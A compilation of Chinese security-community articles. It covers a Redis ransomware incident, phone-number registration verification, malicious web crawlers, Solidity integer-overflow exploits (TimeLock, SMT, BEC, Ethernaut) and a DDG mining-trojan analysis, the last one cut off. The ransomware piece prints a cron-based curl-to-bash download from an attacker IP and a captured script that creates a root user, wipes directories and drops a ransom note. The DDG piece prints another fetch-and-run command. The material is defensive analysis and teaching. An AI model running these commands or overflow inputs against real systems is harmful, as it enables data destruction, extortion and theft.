自2017年12月以来，由于该漏洞已经被大规模利用，如DDG等多个僵尸网络都以该漏洞为目标进行迅速的繁殖和占领算力，并且各大僵尸网络间都会互相删除彼此来保证自己对机器算力的掌握。
攻击过程说明
* 首先攻击者通过事先的扫描踩点，发现了这些公网可访问并且未设置密码的机器
* 攻击者尝试连接这些机器，并且运行如下代码:
config set dir /var/spool/cron/
config set dbfilename root
config 1 */10 * * * * curl -shttp://103.224.80.52/butterfly.sh | bash
save
通过上述指令，将下载脚本:<http://103.224.80.52/butterfly.sh>
并将该脚本写入到计划任务中，由计划任务启动执行。
由于在分析时，攻击者感知到我们的反向探查，已经将该脚本下线。但我们的蜜罐成功抓取到了该脚本如下:
#!/bin/bash
#*butterfly*
exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
userdel -r redis
useradd -o -u 0 -g 0 redis &>/dev/null
echo "abcd-1234-!" |passwd--stdin redis &>/dev/null
rm -rf /root/*
rm -rf /home/*
rm -rf /opt/*
rm -rf /data/*
rm -rf /data*
mkdir -p /data
echo -e "\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are welcome! \nMail:[email protected]\nBitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny\n" > /root/Warning.txt
chmod +x /root/Warning.txt
cp /root/Warning.txt /Warning.txt
cp /root/Warning.txt /data/Warning.txt
echo -e "\nWarning! \nYour File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are
* 攻击者要求给地址:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny 发送0.6个比特币，否则将在24小时之内删除数据备份。
* 但是从这个脚本中可以明显看出，攻击者根本没有进行备份，即使被攻击者给了钱，也是要不回数据的。
截止到9月10日晚8点为止，该地址共收到了0.6个比特币的转账，并且都是在今日进行发送的，已经有受害者开始转账了。
# 安全建议
* 通过安全组限制对公网对Redis等服务的访问
* 通过修改redis.conf配置文件，增加密码认证，并隐藏重要命令
* 以低权限运行redis服务等 | 社区文章 |
### 前言
现在随便下载一个APP进行注册，虽然都是用手机号作为注册账号，但还是需要1分多钟才能完成注册流程。先要输入字符验证码证明你是一个真实用户，然后再去请求短信验证，最后输入确认码才算结束。过程中的每个环节都有可能输错重来，用户体验实在不好。
### 为什么APP的注册流程这么复杂呢？
注册作为网站和APP的重要交互端口，是一切用户行为的源头。但是APP面对的不只是正常的目标用户，还有各种类型的黑产大军。因此注册端口也饱受黑产攻击的困扰。黑产要入侵一般都是先从“攻陷”注册场景开始。攻陷了注册场景后，就可以大批量注册账号，为后续的黑产活动做准备。所以，APP运营者就需要各种安全工具来防范黑产的攻击，开头提到的字符验证码和短信验证码就是现在最主流的安全验证方式。
### 这种安全方案是如何形成的？
现在大部分的APP为了方便用户快速注册（以及方便获得用户信息）都是利用手机号为媒介进行注册和登录。在这种前提下，为了确认注册者拥有手机号的使用权，短信验证因为用户广泛拥有且方便校验，实现起来非常容易成本也比较小，于是成为了最普遍的身份验证形式。
不过短信验证接口本身也会被黑产利用和攻击，对企业造成额外的威胁的风险。比如各种短信轰炸平台，就会利用各大网站和APP的短信验证接口给指定号码发送验证信息达到短信轰炸的目的。再比如会有竞争对手会恶意攻击短信验证接口，不断请求验证，消耗短信资源增加企业成本。这些攻击的共同点就是都会使用自动化程序在短时间内发起大批量请求。
### 这背后面对的则是人机（操作）识别的问题。
字符验证码是现在普遍的用来防止机器操作的安全工具。于是运营者会在发送短信验证之前又增加字符验证码。这就是现在我们最常见的APP上的注册流程了。
### 复杂的注册流程是否能抵挡黑产的强攻呢？
直白的说，互联网上各种短信接码平台实际上就可以通过较低的成本简单的实现大批量的帐号注册。在某宝你可以很轻松搜索到类似的服务。至于传统的字符验证码，在神经网络和图像识别技术突飞猛进的今天，已经能非常高效的识别，更不用提各种打码平台。事实上，当前主流的APP注册流程（字符验证+短信验证）不仅用户操作时间长，而且仍然存在各种安全隐患。
### 有没有更好的方案？
针对这个问题，最近看到业界内出现一种全新的解决方案，叫做Onepass。不同于现在的注册流程，部署Onepass的APP，用户输入手机号后，直接点击下一步就可以注册成功，几乎将之前用户繁琐的操作成本降低到零。省去了短信验证的步骤，如何确认手机号是否归属于当前操作者呢？Onepass声称是集成的运营商的新型网关验证，通过运营商直接检测当前手机号是否和当前操作设备匹配。
### 网关验证是什么？
经过了解，简单来说网关验证是在数据网络下，运营商为应用提供网关取号认证功能。用户输入手机号后自动校验是否与数据网络发送方的手机号一致，一致则直接通过验证，不一致则发送短信验证。非数据网络环境下以短信验证补充，实现100%
验证准确率。
网关验证相比短信验证，在安全性上有独特的优势。
上图是整个通信过程的原理，手机端通过数据网络发送请求，经过运营商的核心网络GGSN（即网关设备），网关设备此时通过运营商内部的解析将“手机号”传给运营商服务器。
1．从数据流量到网关、网关到服务器，包括IP、域名、接口等都是运营商内部网络而且有严格的通信认证措施。
2．GGSN取号过程，不依赖手机端的具体明文数据，而是通过运营商内部的硬件加密以及通信加密数据来完成这一工作过程。故在手机端没有可以被模拟、篡改的对象。
3．除上述工作外，运营商还做了更高保护措施。 GGSN还对通往运营商目标域名的请求，做二次检测，如果发现不符合规则的情况，会清楚伪造的数据，以保障安全性。
网关验证虽然是一种高效安全的身份验证方式，但同样是一种运营资源，如果直接暴露在交互场景上同样不能避免机器批量请求消耗成本等恶意行为。所以Onepass里又结合了一种比较新颖的验证技术，叫做Test-button，来保护网关验证。
Test-button是一种按钮式验证，可以隐藏部署在事件按钮上。
Onepass的整个验证流程就是在用户输入手机号点击提交按钮后，首先会经过Test-button的人机检测，如果是真实用户的操作就会再请求网关验证，检测手机号码与当前设备是否匹配，如果检测匹配成功就完成了验证流程，直接进入到下一步。对正常用户来说，不会感知到背后的流程，只会觉得非常简单就完成了注册。简单来说，Onepass就是通过整合新型的验证技术帮助APP运营者进行人机验证和身份验证的同时，帮助用户省去操作字符验证码和短信验证码。
### 总结
Onepass这种技术方案的优点非常明显，明显提升了用户在数据网络下的交互体验，技术可靠。目前不足的是覆盖场景主要还是注册登录，范围比较小。可能因为近期才推出，所以客户量也不是很多。而对抗黑产的效果，主要还是依赖Test-button的人机鉴别能力。
不过基于对用户体验的提升，应该会有不少的APP运营者会考虑Onepass这种交互验证技术方案。另外可以预期，数据网络的使用成本会继续逐步降低。Onepass覆盖的场景应该会越来越多，这种技术方案的应用范围会更加广泛。 | 社区文章 |
# 2018上半年互联网恶意爬虫分析：从全景视角看爬虫与反爬虫
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
导语：互联网最激烈的对抗战场，除了安全专家与黑客之间，大概就是爬虫与反爬虫领域了。据统计，爬虫流量早已超过了人类真实访问请求流量。互联网充斥着形形色色的爬虫，云上、传统行业都有不同规模的用户被爬虫爱好者盯上，这些爬虫从哪里来？爬取了谁的数据？数据将被用于何处？
近日，腾讯云发布2018上半年安全专题系列研究报告，该系列报告围绕云上用户最常遭遇的安全威胁展开，用数据统计揭露攻击现状，通过溯源还原攻击者手法，让企业用户与其他用户在应对攻击时有迹可循，并为其提供可靠的安全指南。本篇报告中，云鼎实验室通过部署的威胁感知系统，捕获到大量爬虫请求流量以及真实来源
IP，且基于2018年上半年捕获的数亿次爬虫请求，对互联网爬虫行为进行分析。
## 一、基本概念
### 爬虫是什么？
爬虫最早源于搜索引擎，它是一种按照一定的规则，自动从互联网上抓取信息的程序。
搜索引擎是善意的爬虫，它爬取网站的所有页面，提供给其他用户进行快速搜索和访问，给网站带来流量。为此，行业还达成了 Robots
君子协议，让互联网上的搜索与被搜索和谐相处。
原本双赢的局面，很快就被一些人破坏了，如同其他技术，爬虫也是一把双刃剑，变得不再「君子」。尤其是近年来「大数据」的概念，吸引了许多公司肆意爬取其他公司的数据，于是「恶意爬虫」开始充斥互联网。
本篇报告主要聚焦于「恶意爬虫」，不讨论搜索引擎爬虫及合法爬虫等。
### 爬虫的分类
按爬虫功能，可以分为网页爬虫和接口爬虫。
网页爬虫：以搜索引擎爬虫为主，根据网页上的超链接进行遍历爬取。
接口爬虫：通过精准构造特定 API 接口的请求数据，而获得大量数据信息。
按授权情况，可以分为合法爬虫和恶意爬虫。
合法爬虫：以符合 Robots 协议规范的行为爬取网页，或爬取网络公开接口，或购买接口授权进行爬取，均为合法爬虫，该类爬虫通常不用考虑反爬虫等对抗性工作。
恶意爬虫：通过分析并自行构造参数对非公开接口进行数据爬取或提交，获取对方本不愿意被大量获取的数据，并有可能给对方服务器性能造成极大损耗。此处通常存在爬虫和反爬虫的激烈交锋。
### 数据从哪来？
爬虫不生产数据，它们只是数据的搬运工。要研究爬虫，就得先研究数据的来源。尤其是对小型公司来说，往往需要更多外部数据辅助商业决策。如何在广袤的互联网中获取对自己有价值的数据，是许多公司一直考虑的问题。通常来说，存在以下几大数据来源：
➢ 企业产生的用户数据
如 BAT 等公司，拥有大量用户，每天用户都会产生海量的原始数据。
另外还包括 PGC （专业生产内容）和 UGC （用户生产内容）数据，如新闻、自媒体、微博、短视频等等。
➢ 政府、机构的公开数据
如统计局、工商行政、知识产权、银行证券等公开信息和数据。
➢ 第三方数据库购买
市场上有很多产品化的数据库，包括商业类和学术类，如 Bloomberg、 CSMAR、
Wind、知网等等，一般以公司的名义购买数据查询权限，比如咨询公司、高等院校、研究机构都会购买。
➢ 爬虫获取网络数据
使用爬虫技术，进行网页爬取，或通过公开和非公开的接口调用，获得数据。
➢ 公司间进行数据交换
不同公司间进行数据交换，彼此进行数据补全。
➢ 商业间谍或黑客窃取数据
通过内鬼渠道获取其他公司用户数据，或者利用黑客等非常规手段，通过定制入侵获取数据或地下黑市购买其他公司数据。此处内鬼泄漏远多于黑客窃取。
## 二、恶意爬虫的目标
从前面总结的数据来源看，第三方数据库购买或数据窃取的渠道都不涉及爬虫，真正属于恶意爬虫目标的，主要是互联网公司和政府相关部门的数据。
### 行业总体分布
通过对捕获的海量恶意爬虫流量进行标注，整理出恶意爬虫流量最大的行业 TOP 10 排行，详情如下：
由统计可见，出行类恶意爬虫流量占比高于电商与社交行业，居首位，其次是点评、运营商、公共行政等。接下来逐个行业进行分析：
**1\. 出行**
➢ 实时火车票信息
对火车购票平台的恶意爬虫访问占据了出行行业近90%的流量，浅析可知其实比较合理，几百个城市，几千趟列车构成国内铁路网，火车站与车次排列组合后是一个非常大的数据集，随着人工购票快速向互联网购票过渡，第三方代购和抢票服务商便越来越多，而任意一家要做到数据实时刷新，都需要不小的爬虫集群，因此导致火车票购买站点成为爬虫光顾最频繁的业务。
➢ 实时机票信息
机票类占据出行类8.77%的恶意爬虫流量，主要是爬取各大航空公司实时票价。
➢ 实时公交信息
主要爬取市内公交 GPS 信息。
➢ 实时共享单车信息
主要爬取特定区域周边的实时共享单车信息。
➢ 酒店空房信息
酒店爬取占比较少，主要是刷酒店房价，与交通类比较可忽略不计
**2\. 社交**
由于国内的社交平台多数以纯 APP 为主，部分社交平台并不支持网页功能，因此捕获到的社交类爬虫主要集中在微博类平台，以爬取用户信息和所发布的内容为主。
**3\. 电商**
电商行业爬虫主要是爬取商品信息和价格等数据，由于商业模式的差异，C2C 类电商由于中小卖家众多，商品数量远多于 B2C
类电商，支撑了电商类恶意爬虫近90%流量， B2C 类电商加起来占一成左右。
**4\. O2O**
O2O 行业恶意爬虫主要集中在点评类和团购类公司，其中以爬取商铺动态信息和星级评分信息的点评类数据为主，占总数的90%以上。
**5\. 公共行政**
公共行政类恶意爬虫主要集中在法院文书、知识产权、企业信息、信用信息等常规商业信息领域，而另一个受爬虫青睐的是挂号类平台，从数据来看应该是一些代挂号平台提供的抢号服务。
**6\. 运营商**
运营商的恶意爬虫流量主要集中在运营商各种互联网套餐手机卡的查询。由于互联网套餐手机卡存在较高的性价比，因此网络上形成了相关的刷靓号、抢号、代购等产业链。
网络上存在多种通过爬虫技术进行靓号手机号搜索的工具，选择手机卡类型，再不断爬取待售手机号，寻找到符合理想靓号规则的号码。下图为某扫号工具截图，可选择数十种不同的互联网套餐卡：
（某手机靓号扫号工具截图）
**7\. 自媒体**
根据本次统计，自媒体类爬虫主要集中于微信订阅号关键词搜索和文章访问，分别占总量的64.91%和20.73%，其他自媒体平台约占14.36%。
**8\. 地图**
地图类爬虫比较常规，主要是爬取地理位置周边商户详细信息为主。
**9\. SEO**
SEO 类恶意爬虫通常是频繁搜索相关词汇，来影响搜索引擎的排名。
**10\. 新闻**
新闻类恶意爬虫主要用于爬取聚合类新闻 APP 及各大门户的新闻信息。以搜索引擎的新闻平台和聚合类APP的数据为主，传统门户类爬虫较少光顾。
**11\. 其他**
其他主要被爬虫光顾的领域还有新闻、招聘、问答、百科、物流、分类信息、小说等，不进行一一列举。
## 三、爬虫来源 IP 分布
**1\. 国家分布**
从本次半年度统计捕获到的爬虫流量源 IP 来看，大部分都来自国内，超过90%，其次主要来自美国、德国、日本等国家。
**2\. 国内分布**
将源自国内的数据抽出来进行细分，可以看到，主要来自北京、天津、河北、上海等省市，以上4个地区所占国内恶意爬虫流量超70%。这并不是因为爬虫作者都来自这些地区，而是因为大量的爬虫部署在租用的
IDC 机房，这些机房大多在发达省市。
**3\. 网络分布**
该图是恶意爬虫源 IP 的网络分布，可以看到，超过一半来自国内运营商网络，而这其中大比例是源自运营商的 IDC
机房。云计算厂商方面，国内主要云厂商都有上榜。
整体数据来看，恶意爬虫绝大部分都是来自 IDC 机房，随着恶意程序云端化，云计算厂商应当对云资源被滥用的情况进行及时了解和处理。
## 四、爬虫与反爬虫的对抗
作为互联网对抗最激烈的战场之一，说到爬虫，就不能不提反爬虫。当反爬虫工程师对爬虫进行了反杀，爬虫工程师也不会任人宰割，很快又研究出了各种反对抗技术。
**1\. 对手是谁**
爬虫和反爬虫的斗争由来已久，要想做好反爬虫，先要知道对手有哪些，才好制定相应的策略。反爬虫工程师的对手通常来自以下几类：
➢ 应届毕业生
每年三月份左右通常会有一波爬虫高峰，和应届毕业生（本科、硕士、博士）有关，为了让论文有数据支撑，他们的爬虫简单粗暴，忽略了服务器压力，且人数不可预测。
➢ 创业小公司
初创公司缺少数据支撑，为了公司生存问题，爬取别家数据，不过通常持续不久，较易被反爬虫手段逼退。
➢ 成型的商业对手
反爬虫工作最大的对手，有钱有人有技术，如果需要，会通过分布式、跨省机房、ADSL
等种种手段进行长期爬取。如果双方持续对抗，最终的结果可能会是彼此找到平衡点。
➢ 失控爬虫
许多爬虫放于服务器运行后，就被程序员忘了，它们或许早已爬不到数据了，但依然会孜孜不倦地消耗服务器资源，直到爬虫所在服务器到期。
2\. 技术对抗
犹如安全专家和黑客之争，爬虫工程师和反爬虫工程师也是相爱相杀、你来我往、螺旋上升。经过几番的技术升级，常用的反爬虫及对应的反反爬虫方案如下：
➢ 验证码
验证码是最常用的反爬虫措施，但简单验证码通过机器学习自动识别，通常正确率能达到50%以上甚至更高。
复杂验证码通过提交到专门的打码平台进行人工打码，依据验证码的复杂度，打码工人平均每码收1-2分钱。也同样容易被绕过，使得数据容易被爬取。
➢ 封 IP
这是最有效也最容易误杀的方案。该策略建立在 IP 稀有的前提下，目前通过代理池购买或者拨号 VPS 等方式，可以低成本获取数十万的 IP
池，导致单纯的封IP策略效果越来越差。
➢ 滑块验证
滑块验证结合了机器学习技术，只需要滑动滑块，而不用看那些复杂到有时人眼也无法分辨的字母。但由于部分厂商实现时校验算法较为简单，导致经常只需要相对简单的模拟滑动操作就能绕过，从而使得数据被恶意爬取。
➢ 关联请求上下文
反爬虫可以通过 Token 或网络请求上下文是否进行了完整流程的方式来判断是否真人访问。但对具有协议分析能力的技术人员来说进行全量模拟并没有太大困难。
➢ javascript 参与运算
简单的爬虫无法进行 js 运算，如果部分中间结果需要 js 引擎对 js 进行解析和运算，那么就可以让攻击者无法简单进行爬取。但爬虫开发者依然可以通过自带
js 引擎模块或直接使用 phantomjs 等无端浏览器进行自动化解析。
➢ 提高数据获取成本
当面对的是职业选手时，只能通过提升对方人力成本来实现，比如代码混淆、动态加密方案、假数据等方式，利用开发速度大于分析速度的优势，来拖垮对方的意志。如果对方咬定不放松，那只能持续对抗，直到一方由于机器成本或人力成本放弃。
当对抗到了这个阶段，与安全对抗一样，技术之争就进入了鏖战的「平衡期」，此时反爬虫工程师对抗掉了大部分的低级玩家，剩下的高级爬虫工程师也默契的保持一个不给服务器太大压力的爬取速度，双方犹如太极推手，那下一步如何打破这个平衡？
## 五、对抗新思路：云端 AI 反爬虫
爬虫和反爬虫的对抗，在云计算成为趋势后，逐渐加入了第三方势力，云计算厂商可直接为企业提供云端反爬能力，将战局从反爬虫与爬虫的 1v1
变成了企业+云厂商与爬虫 的 2v1，助力企业的反爬能力。
尤其是近年来 AI 技术不断突破，为解决许多问题提供了全新思路。基于这个角度，云鼎实验室通过深度学习技术对海量真实恶意爬虫流量进行分析，认为将 AI
技术引入反爬虫领域能起到极好的补充效果，将是未来此类对抗领域的趋势所在。
为此，腾讯云网站管家 (WAF) 联合云鼎实验室基于海量真实爬虫流量建立更为通用的爬虫识别模型，已卓有成效，后续将致力于把最强的识别能力开放给各企业。
腾讯安全云鼎实验室主要关注腾讯云安全体系建设，专注于云上网络环境的攻防研究和安全运营，以及基于机器学习等前沿技术理念打造云安全产品。 | 社区文章 |
### 一、前言
最近在对区块链漏洞进行一些代码研究，在实例复现以及竞赛题目的研究中，我发现整数溢出是现在区块链比较火的漏洞之一。但是整数漏洞的技术难度并不大，容易理解。但是它常常出现在Solidity代码中，容易被攻击者利用。
本篇文章中，我们就针对整数溢出漏洞进行原理上的分析，并对部分实例以及竞赛题目进行线上实验，并提出一些预防措施。
### 二、漏洞介绍
在介绍整数溢出漏洞前，我们需要先简单介绍一下Solidity中的部分语法知识。
在solidity中，我们知道在变量类型中有`int/uint`（变长的有符号与无符号整形）类型。这类变量支持以8递增，支持从uint8到uint256，以及int8到int256。而需要我们注意的时，uint与int默认表示uint256与int256
。
我们知道， **无符号整形** 是计算机编程中一种数值类型，其只能表示非负数（0以及正数）。然而有符号整形(int)可以表示任何规定范围内的整数。
有符号整数能够表示负数的代价是能够存储正数的范围缩小，因为其约一半的数值范围需要表示负数。如：uint8的存储范围为0~255，然而int8的范围为-127~127.
如果用二进制表示的话：
* **uint8 ：0b00000000 ~ 0b1111111** 每一位都存储相关内容，其范围为0~255 。
* **int8 ：0b1111111 ~ 0b0111111** 最左边一位表示符号，1表示为负数，0表示为正，范围为 -127~127 。
而整数溢出的概念是什么呢？我们来看一个简单的例子：
pragma solidity ^0.4.10;
contract Test{
// 整数上溢
//如果uint8 类型的变量达到了它的最大值(255)，如果在加上一个大于0的值便会变成0
function test() returns(uint8){
uint8 a = 255;
uint8 b = 1;
return a+b;// return 0
}
//整数下溢
//如果uint8 类型的变量达到了它的最小值(0)，如果在减去一个小于0的值便会变成255(uin8 类型的最大值)
function test_1() returns(uint8){
uint8 a = 0;
uint8 b = 1;
return a-b;// return 255
}
}
在这个例子中，我们知道uint8的范围为——0~255，所以我们的测试代码中定义变量使用了uint8 。
在`test()`中，我们赋值了a，b两个变量，令a+b。
按照我们的理解，a+b = 255+1 =256才对。现在我们进行测试。
我们得到的并不是256，而是0 。
类似的，我们对`test1()`函数进行测试。0 -1 应该为-1，而uint并不包括负数的部分。所以结果应该是什么样子的呢？
我们发现，得到的值为255 。
这就是我们所提及的上下溢。假设我们有一个 uint8, 只能存储8 bit数据。这意味着我们能存储的最大数字就是二进制 `11111111`
(或者说十进制的 2^8 - 1 = 255) 。下溢(underflow)也类似，如果你从一个等于 0 的 uint8 减去 1, 它将变成 255
(因为 uint 是无符号的，其不能等于负数)。
而上面的例子介绍了原理。下面我们将逐步向读者介绍溢出漏洞是如何在生产环境中进行恶意攻击的。
### 三、真实例子
#### 1 模拟场景例子
下面我们看一个真实环境中的真实场景问题。
pragma solidity ^0.4.10;
contract TimeLock {
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
function deposit() public payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = now + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
balances[msg.sender] = 0;
msg.sender.transfer(balances[msg.sender]);
}
function getTime() public constant returns(uint256) {
return lockTime[msg.sender];
}
}
上述合约描述了一个银行存定期的合约。
我们在合约中针对每个用户设置了一个`mapping`用于存储定期时间。而键为`address`类型，值为`uint256`类型。
之后我们拥有三个函数--`deposit ()`为存钱函数，并且存储时间至少为一个礼拜；`increaseLockTime
()`为增加存钱时间的函数，用户可以自行增加存款时间；`withdraw
()`为取钱函数，当用户拥有余额并且现在的时间>存款时间后变可以将所有的钱提取出来。
此时，我们可以对漏洞进行分析。倘若用户存钱后想要将钱提取取出来可行吗？根据我们对合约的设置来讲，我们并不希望用户可以提取将钱取出。但是我们来看下面的函数:
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
这个函数中我们可以自行传入变量，并更新lockTime[]的值。而我们知道其值的类型为`uint256`，即我们可以使用整数溢出漏洞，传入`2^256-userLockTime`。以进行溢出使变量的值变成0 。下面我们进行测试：
首先我们对合约进行部署：
之后我们存入部分钱：
我们可以查看存入的钱的数量以及时间（一周）。
下一步我们看看能不能提出钱：
发现失败了emmmm。
所以我们现在想办法，传入`2^256-userLockTime`即：`115792089237316195423570985008687907853269984665640564039457584007913129639936
-1546593080`为`115792089237316195423570985008687907853269984665640564039457584007911583046856`。
传入数据，之后我们查看剩余时间：
之后我们就可以把钱取出来了。
#### 2 SMT合约的安全研究
> SmartMesh
> Token是基于Ethereum的合约代币，简称SMT。Ethereum是一个开源的、公共的分布式计算平台，SmartMesh代币合约SmartMeshTokenContract基于ERC20Token标准。漏洞发生在转账操作中，攻击者可以在无实际支出的情况下获得大额转账。
合约源码地址为：`https://etherscan.io/address/0x55f93985431fc9304077687a35a1ba103dc1e081#code`
我们在这里放上关键函数：
function transferProxy(address _from, address _to, uint256 _value, uint256 _feeSmt,
uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){
if(balances[_from] < _feeSmt + _value) revert();
uint256 nonce = nonces[_from];
bytes32 h = keccak256(_from,_to,_value,_feeSmt,nonce);
if(_from != ecrecover(h,_v,_r,_s)) revert();
if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _feeSmt < balances[msg.sender]) revert();
balances[_to] += _value;
Transfer(_from, _to, _value);
balances[msg.sender] += _feeSmt;
Transfer(_from, msg.sender, _feeSmt);
balances[_from] -= _value + _feeSmt;
nonces[_from] = nonce + 1;
return true;
}
这里我们简单的介绍一下这个函数的内容。
这里我们要介绍一下代理的概念。这个转账函数需要一个中间代理来帮助用户A与用户B进行转账操作。也许这个代理就类似于代理矿工机制，挖矿成功的人才能够进行tx的打包操作（这是个人想法）。
首先这个函数会传入几个关键的参数：`address _from, address _to, uint256 _value, uint256
_feeSmt`。这里分别代表了用户A的地址（转账人）、用户B的地址（收款人的地址）、转账金额、手续费。
之后我们进入第一层判断：`balances[_from] < _feeSmt + _value`。即转账人是否能支付得起手续费+转账费用。
之后的一些其他判断就省略了。直到后面。
balances[_to] += _value;
//收款人账户添加上转账金额
Transfer(_from, _to, _value);
//函数调用者账户增加上手续费金额
balances[msg.sender] += _feeSmt;
Transfer(_from, msg.sender, _feeSmt);
balances[_from] -= _value + _feeSmt;
而我们的攻击具体发生在`if(balances[_from] < _feeSmt + _value) revert();`处。
因为`_feeSmt`和`_value`参数是我们可控的，可以手动进行传输的。所以我们可以控制参数的传入。而我们发现参数定义为uint256，所以2^256。所以如果我们传入的`_feeSmt
+ _value`的值等于 `2^256`+`h`。所以`_feeSmt + _value` =
h。所以当我们的h设置的很小的时候，`balances[_from] < h`便可以绕过（即使我并没有_feeSmt + _value这么多钱）。
例如：_feeSmt = 8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ,
value = 7000000000000000000000000000000000000000000000000000000000000001
// _feeSmt和value均是uint256无符号整数，相加后最高位舍掉，结果为0。
之后_from的账户就要向_to账户转账`7000000000000000000000000000000000000000000000000000000000000001`；向`msg.sender`转账`8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff`。瞬间没有钱了就。
那我们如何对代码进行修复呢？这里参考一篇博客的做法：
// 在这里做整数上溢出检查
if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _feeSmt < balances[msg.sender]) revert();
// 在这里做整数上溢出检查 ,防止交易费用 过大
if(_feeSmt + _value < _value ) revert();
// 在这里做整数上溢出检查 ,防止交易费用 过大
if(balances[_from] < _feeSmt + _value) revert();
uint256 nonce = nonces[_from];
bytes32 h = keccak256(_from,_to,_value,_feeSmt,nonce);
if(_from != ecrecover(h,_v,_r,_s)) revert();
// 条件检查尽量 在开头做
// if(balances[_to] + _value < balances[_to]
// || balances[msg.sender] + _feeSmt < balances[msg.sender]) revert();
balances[_to] += _value;
Transfer(_from, _to, _value);
balances[msg.sender] += _feeSmt;
Transfer(_from, msg.sender, _feeSmt);
balances[_from] -= _value + _feeSmt;
nonces[_from] = nonce + 1;
return true;
增加判断来避免上述情况产生。
#### 3 BEC合约安全漏洞
这个漏洞利用跟上述内容类似，均属于控制传入内容来达成利用。
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
}
这里我们可控的内容为`_receivers`与转账金额`value`。
所以我们可以通过控制传入cnt的大小来控制`amount`的值。（`uint256 amount = uint256(cnt) * _value;`）
使amount向上溢出，成为一个极小值。之后绕过`require(_value > 0 && balances[msg.sender] >=
amount)`。从而使系统向所有的_receivers[]转账。具体的代码大家可以参考：
<https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code>
### 四、竞赛题目
我们可以查看题目<https://ethernaut.zeppelin.solutions/level>
题目代码：
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
这个题目是十分简单的。根据我们上面的分析，这个题目存在整数溢出。题目要求我们获得额外的大量token。
我们根据代码知道合约起始会给用户20个token，所以我们起始是拥有20金币的。我们再看内部的转账函数是在`transfer
()`中。在这里我们需要`balances[msg.sender] - _value >= 0`。且为 20 - value >=0所以我们可以传入21
。根据溢出使`balances[msg.sender] -= _value`=>‘20 - 21’ ---->上溢。
所以我们将合约部署。
之后我们调用函数：
我们可以查看我们player的账户金额。
之后提交合约。
### 五、参考资料
* <http://www.blockchainbrother.com/article/1992>
* <https://ethernaut.zeppelin.solutions/level>
* <https://www.jianshu.com/p/26d66aa1c122>
* <https://www.jianshu.com/p/c5b97942d4a7>
* <https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# 【木马分析】比特币挖矿木马Ddg分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**引言**
近年来go语言火热，一些恶意软件也闻风而起，然而go程序在编译过程中集成了大量的基础库，并且不同版本格式也存在较大差异，给逆向带来不小的阻力。乐视云安全攻防小组专注于应急事件响应，二进制安全，让我们一起剖析下基于go的恶意软件.
近日，乐视安全中心接获用户服务器高负载告警，经安全人员协查分析，发现是通过redis漏洞传播的挖矿木马-ddg，大量消耗服务器资源，难以清除并具有内网扩散功能。本文为乐视安全中心对木马具体原理功能及传播方式进行的分析，以及给出的解决方案。
**0x01 木马行为**
登陆被感染服务器，利用top查看CPU使用率，找到CPU消耗进程AnXqV
通过kill杀死AnXqV进程并进行删除，约15分种后系统告警，AnXqV再次创建并启动
此时查看crontab定时器发现指令:
curl -fsSL http://www.haveabitchin.com/pm.sh?223 | sh
定时下载并执行如下脚本：
**0x02 木马功能**
ddg.222为golang编写无明显函数符号和字符串特征
根据编译版本编写辅助脚本还原golang函数符号
摘要出ddg主要使用到的功能库
shirou_gopsutil,VividCortex_godaemon,boltdb_bolt,garyburd_redigo,golang_protobuf_proto,hashicorp_yamux,moul_http2curl,parnurzeal_gorequest,satori_go_2euuid
分别具有启动后台守护进程，监控进程和系统信息(Cpu和内存，网络，机器码，Mac地址等)，实现redis客户端操作key/value数据库操作，开启RPC服务远程调用，单TCP多路复用等功能
分析ddg执行执行过程，首先调用ddg_aaredis__Server_genLanAddress接口获取局域网地址
调用ddg_aaredis__Server_worker开启扫描，在内网子网掩码内循环调用分别对每个ip测试了ddg_aaredis__Server_testRedis函数
ddg_aaredis__Server_testRedis函数主要用于测试redis漏洞，通过测试是否可以未授权访问redis并写入公钥登陆来进行扩散
梳理木马功能：
1、对可以未授权访问redis的服务器写入公钥登录，定时下载并执行脚本；
